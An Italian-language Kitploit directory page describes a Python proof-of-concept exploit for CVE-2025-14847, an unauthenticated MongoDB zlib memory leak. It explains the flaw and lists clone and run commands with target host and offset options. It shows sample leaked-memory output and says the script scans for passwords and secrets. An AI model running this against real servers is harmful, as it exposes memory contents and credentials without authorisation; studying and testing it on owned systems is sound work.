Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-14847 — CVE-2025-14847 – Exploit di perdita di memoria non autenticato in MongoDB | Kitploit
Strumenti/GitHubGitHub/lincemorado97/cve-2025-14847
Memory ForensicsAnalisi delle VulnerabilitàExploitEsfiltrazione DatiPenetration TestingSicurezza dei Database
GitHublincemorado97/cve-2025-14847

CVE-2025-14847

CVE-2025-14847 – Exploit di perdita di memoria non autenticato in MongoDB

Vedi Repository
137 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-14847 – Exploit di perdita di memoria non autenticata di MongoDB

Panoramica

Un exploit proof‑of‑concept (PoC) per la vulnerabilità di decompressione zlib di MongoDB che consente a utenti malintenzionati non autenticati di leggere la memoria sensibile del server.
Il PoC è implementato in Python 3 e dimostra come un pacchetto OP_COMPRESSED malevolo può attivare il bug, causando la restituzione di memoria non inizializzata da parte di MongoDB come dati BSON.


Cosa fa l'Exploit

La vulnerabilità è causata da un difetto nella decompressione dei messaggi zlib di MongoDB:

  1. Viene inviato un messaggio compresso con una dichiarazione uncompressedSize gonfiata.
  2. MongoDB alloca un buffer grande basato su quel valore gonfiato.
  3. zlib decomprime i dati effettivi all'inizio di quel buffer.
  4. MongoDB tratta l'intero buffer come dati validi, portando alla lettura di memoria non inizializzata.
  5. L'analisi BSON legge quindi i “nomi dei campi” da quella memoria fino a quando non viene raggiunto un byte nullo, esponendo dati nascosti.

Il PoC invia un pacchetto OP_COMPRESSED appositamente creato e analizza la risposta di errore del server per recuperare i frammenti di dati trapelati.


Prerequisiti

ComponenteVersioneNote
Python≥ 3.8Lo script è solo per Python‑3
MongoDB≥ 4.4Il target deve essere vulnerabile a CVE‑2025‑14847
Opzionale

Installazione

root@kitploit:~
# Clona il repository (o copia lo script)
git clone https://github.com/lincemorado97/CVE-2025-14847.git
cd cve-2025-14847

# (Opzionale) Installa i pacchetti Python richiesti
pip install -r requirements.txt

Utilizzo

root@kitploit:~
python exploit.py [OPZIONI]

Esempio:

root@kitploit:~
python exploit.py --host 10.0.0.5 --port 27017 --min-offset 50 --max-offset 5000 --output leaks.bin

Esempio

root@kitploit:~
$ python3 exploit.py 
11:02:41 CVE-2025-14847     INFO │ [*] Target: localhost:27017
11:02:41 CVE-2025-14847     INFO │ [*] Scanning offsets 20-8192
11:02:41 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
11:02:41 CVE-2025-14847     INFO │ ---------------------------------------------------------------------------
11:02:41 CVE-2025-14847     INFO │ 00000000:  20 6f 62 6a 65 63 74 20 77 69 74 68 20 75 6e 6b  | object with unk|
11:02:41 CVE-2025-14847     INFO │ 00000010:  6e 6f 77 6e 20 5f 69 64                          |nown _id|
11:02:41 CVE-2025-14847     INFO │ [+] offset=  39 len=  24:
11:02:45 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
11:02:45 CVE-2025-14847     INFO │ ---------------------------------------------------------------------------
11:02:45 CVE-2025-14847     INFO │ 00000000:  73 20 73 6b 69 70 70 65 64 20 64 75 72 69 6e 67  |s skipped during|
11:02:45 CVE-2025-14847     INFO │ 00000010:  20 74 72 65 65 20 77 61 6c 6b                    | tree walk|
11:02:45 CVE-2025-14847     INFO │ [+] offset=3064 len=  26:
11:02:50 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
....
11:02:50 CVE-2025-14847     INFO │ [+] offset=6663 len=  38:
11:02:52 CVE-2025-14847  SUCCESS │ [*] Total leaked: 496 bytes
11:02:52 CVE-2025-14847  SUCCESS │ [*] Unique fragments: 85
11:02:52 CVE-2025-14847  SUCCESS │ [*] Saved to: leaked.bin

Lo script registrerà ogni frammento interessante (lunghezza > 10 byte) e mostrerà una vista hexdump. Tutti i dati trapelati vengono aggiunti a leaked.bin.

demo


Comprendere l'Output

  • Hexdump: Mostra un sottoinsieme dei dati trapelati sia in esadecimale che ASCII.
  • Righe di log: [+] offset= <doc_len> len= <len> indica dove è stato trovato un frammento.
  • Totale trapelato: Byte scritti nel file di output.
  • Frammenti unici: Blocchi di dati distinti rilevati.
  • Rilevamento segreti: Lo script stampa qualsiasi pattern predefinito (password, secret, ecc.) trovato nei dati trapelati.

Riferimenti

  • CVE-2025-14847 – https://nvd.nist.gov/vuln/detail/CVE-2025-14847
  • Analisi: https://www.ox.security/blog/attackers-could-exploit-zlib-to-exfiltrate-data-cve-2025-14847/

Dichiarazione di non responsabilità

Questo PoC è fornito "così com'è" senza alcuna garanzia. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo script. Utilizzalo a tuo rischio e pericolo.

Scarica lo strumento
requirements.txt
Fornito nel repository
OpzionePredefinitoDescrizione
--hostlocalhostHost MongoDB di destinazione
--port27017Porta MongoDB di destinazione
--min-offset20Lunghezza minima del documento da sondare
--max-offset8192Lunghezza massima del documento da sondare
--outputleaked.binFile in cui salvare i dati trapelati